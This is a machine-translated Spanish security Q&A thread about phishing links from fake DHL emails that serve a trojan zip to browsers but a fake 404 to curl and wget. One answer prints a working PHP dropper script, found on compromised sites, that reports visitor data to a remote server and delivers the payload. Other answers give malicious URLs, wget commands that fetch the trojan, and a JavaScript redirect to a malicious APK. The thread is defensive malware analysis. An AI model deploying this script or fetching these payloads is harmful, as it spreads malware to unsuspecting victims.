Enlaces maliciosos que responden a los navegadores pero no se encrespan ni wget

20

Hay algunos correos electrónicos con enlaces a sitios web agrietados de personas con una descarga de malware

Me gusta este tipo de correo electrónico: correo electrónico falso de la estación del paquete DHL

... los enlaces a menudo toman la forma de:

http:// www.mandyhank.com /sbfdiqr.php?get_info=ss00_323
http:// sasfamily.com /fpxlcaj.php?get_info=ss00_323
http:// tfdesignsandpcrepair.com /dinwnle.php?get_info=ss00_323

Y, hasta que se elimine o arregle el sitio, ir allí con un navegador descargará un archivo zip que contiene un troyano exe.

Pero al intentar obtener o curvar se obtiene:

Not Found
The requested URL was not found on this server.

He intentado usar la misma cadena de agente de usuario desde mi navegador en curl. ¿Cómo puedo obtener una copia del HTML de la página de destino para poder seguirlo el resto del camino? Dudo que sea una cuestión de JS, mi navegador funciona con JS desactivado.

    
pregunta user145837 15.05.2013 - 20:00
fuente

6 respuestas

1

Según el análisis de TrendMicro, esto forma parte de la botnet Asprox.

Más información sobre:
enlace
enlace

    
respondido por el Michal Ambroz 28.05.2013 - 11:31
fuente
25

El sitio web parece estar solo revisando el User-Agent. He intentado lo siguiente

wget --user-agent="Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" "http://tfdesignsandpcrepair.com/dinwnle.php?get_info=ss00_323" -O file.zip

y parece estar funcionando

Una posibilidad es que podría haberlo intentado tantas veces sin un User-Agent válido que, finalmente, el servidor bloqueó su IP y ahora le está dando 404 independientemente de su solicitud.

Actualización: Sí, esa parece ser la razón. Después de 3 intentos exitosos de descargar el archivo, el servidor comenzó a lanzarme un 404. falso. Utilicé un proxy y noté el mismo comportamiento; 3 descargas exitosas y luego una respuesta con la longitud 153 que contiene:

<html><head><title>404 Not Found</title></head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
</body></html>
    
respondido por el Adi 15.05.2013 - 20:37
fuente
8

Puede que no sea el encabezado usuario-agente que están mirando, o el único encabezado que están mirando antes de determinar si se debe servir la página o no. Es posible que tenga una mejor oportunidad si copia un conjunto completo de encabezados de su navegador y los envía a todos con la solicitud.

Si eso funciona, entonces puedes probar varias permutaciones del conjunto de encabezados para determinar en qué encabezados específicos están tecleando.

    
respondido por el Xander 15.05.2013 - 20:11
fuente
8

Puede solicitar la página desde un navegador mientras ejecuta un proxy como Burp que le permitiría obtener el Contenidos de la página.

También le daría una solicitud válida que puede reproducir sin un navegador usando la función Repetidor.

    
respondido por el Rоry McCune 15.05.2013 - 20:19
fuente
2

Un webmaster me envió un archivo get.php. Por lo tanto, la descarga de virus proviene de un servidor separado, por lo que la carga útil se puede generar en otro lugar. Y a menos que se cumplan las condiciones a continuación, obtienes un 404 falso. Si el servidor central de virus quiere que lo hagas, obtienes un 404 falso.

Hay literalmente cientos de sitios web por ahí que todavía tienen este script PHP, pero el 404 hace que se vea limpio.

Me imagino que un servidor de virus puede realizar un seguimiento de las solicitudes y "prohibir" las solicitudes de IP basadas en lo que quiera. Al igual que muchos agentes de usuario incorrectos o DNS inverso.

Lo que debe suceder a continuación es que se deben compilar más de estos scripts PHP, obtener una lista de los servidores de virus, eliminarlos y ver cómo funcionan.

<?php
error_reporting(0);
ini_set("display_errors", 0);

$remote = 'http://62.109.31.142/request12.php';

php_display($remote);

error_404();

function php_display($url)
{    
    $query = array();
    $query['ip'] = getIp();
    $query['time'] = date('d/M/Y:H:i:s', time());
    $query['request'] = getRequest();
    $query['path'] = getPath();
    $query['protocol'] = getProtocol();
    $query['useragent'] = getUseragent();
    $query['referer'] = getReferer();

    $url = $url."?".http_build_query($query);

    $content = @file_get_contents($url);

    if(empty($content) OR stripos($content, "error") !== FALSE)
    {
        error_404();
    }

    $content = explode("\n", $content);
    $filename = array_shift($content);
    $content = implode("\n", $content);

    $type = 'application/zip';
    header('Content-Type:'.$type);
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Length: '.  strlen($content));
    echo $content;
    exit();
}

function error_404()
{
    header("HTTP/1.1 404 Not Found");
    exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
            ."<html><head><title>404 Not Found</title></head><body>\r\n"
            ."<h1>Not Found</h1>\r\n"
            ."<p>The requested URL was not found on this server.</p>\r\n"
            ."<hr>\r\n"
            ."</body></html>\r\n");
}

function getRequest()
{
    return $_SERVER['REQUEST_METHOD'];
}

function getPath()
{
    return $_SERVER['REQUEST_URI'];
}

function getProtocol()
{
    return $_SERVER['SERVER_PROTOCOL'];
}

function getUseragent()
{
    return $_SERVER['HTTP_USER_AGENT'];
}

function getReferer()
{
    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
    return $referer;    
}

function getIp()
{
    $ip = NULL;
    if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif(isset($_SERVER['HTTP_CLIENT_IP']))
    {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }
    elseif(isset($_SERVER['REMOTE_ADDR']))
    {
        $ip = $_SERVER['REMOTE_ADDR'];
    }

    if(strpos($ip, ",") !== FALSE)
    {
        $ips = explode(",", $ip);
        $ip = trim(array_pop($ips));
    }

    return $ip;
}

También obtienes algo diferente para algunos usuarios móviles-agentes.

  wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; fr;
     rv:1.9.2.18) Gecko/20110614 Mozilla/5.0 (Android; Linux armv7l;
     rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0" 
  "http:// archaicguru.ca /img / get.php?info=867_124381713"

... dirigido a www.appsoluteconcepts.com

Actualización 23 de mayo de 2013.

Corrí:

http:// dekadolstermennekes.nl /templates /rssgets.php?get_info=ss00_323

a través de esto:

'curl -o #{domain}/winff.out -A "Mozilla/5.0 (Windows NT 5.1; rv:21.0)   
   Gecko/20130401 Firefox/21.0" "#{url}"'

 'curl -o #{domain}/winie8.out -A "Mozilla/5.0 (compatible; MSIE 8.0; 
    Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 
    3.3.69573; WOW64; en-US)" "#{url}"'

 'curl -o #{domain}/linff.out -A "Mozilla/5.0 (X11; Ubuntu; Linux i686; 
    rv:20.0) Gecko/20100101 Firefox/20.0" "#{url}"'

  'curl -o #{domain}/droidAWK.out -A "Mozilla/5.0 (Linux; U; Android 2.2.1; 
     en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) 
     Version/4.0 Mobile Safari/533.1" "#{url}"'

Obtuve 404 falso para Windows, Linux y Mac. Para los dos UAs de Android obtuve un APK alojado en otro lugar gracias a javascript:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 <html>
 <head>

 <meta content="text/html; charset=Windows-1251" http-equiv="content-type">
 <title></title>

 </head>
 <body>

 <script language="JavaScript">
 <!--
   window.location=" http:// bahnsinn-hattersheim.de /mediapool /85/859783 
      /resources/pictures/Application.apk";
  //-->
  </script>
</body>

El archivo .apk tiene aproximadamente 2176026 bytes, MD5 3ffa39687b28f3e6993fe6ae218b91c9 pero me faltan las habilidades de 1337 para hacer algo con él.

    
respondido por el user145837 21.05.2013 - 07:21
fuente
0

Como la conexión no está usando https, usaría wireshark para hacer una captura de paquetes. Una vez que tenga una captura, puede hacer clic con el botón derecho en un paquete involucrado en la transferencia de http y 'Seguir TCP Stream'. Le mostrará la conversación codificada por colores que su navegador / sistema tuvo con el servidor.

    
respondido por el chuck 16.05.2013 - 18:13
fuente

Lea otras preguntas en las etiquetas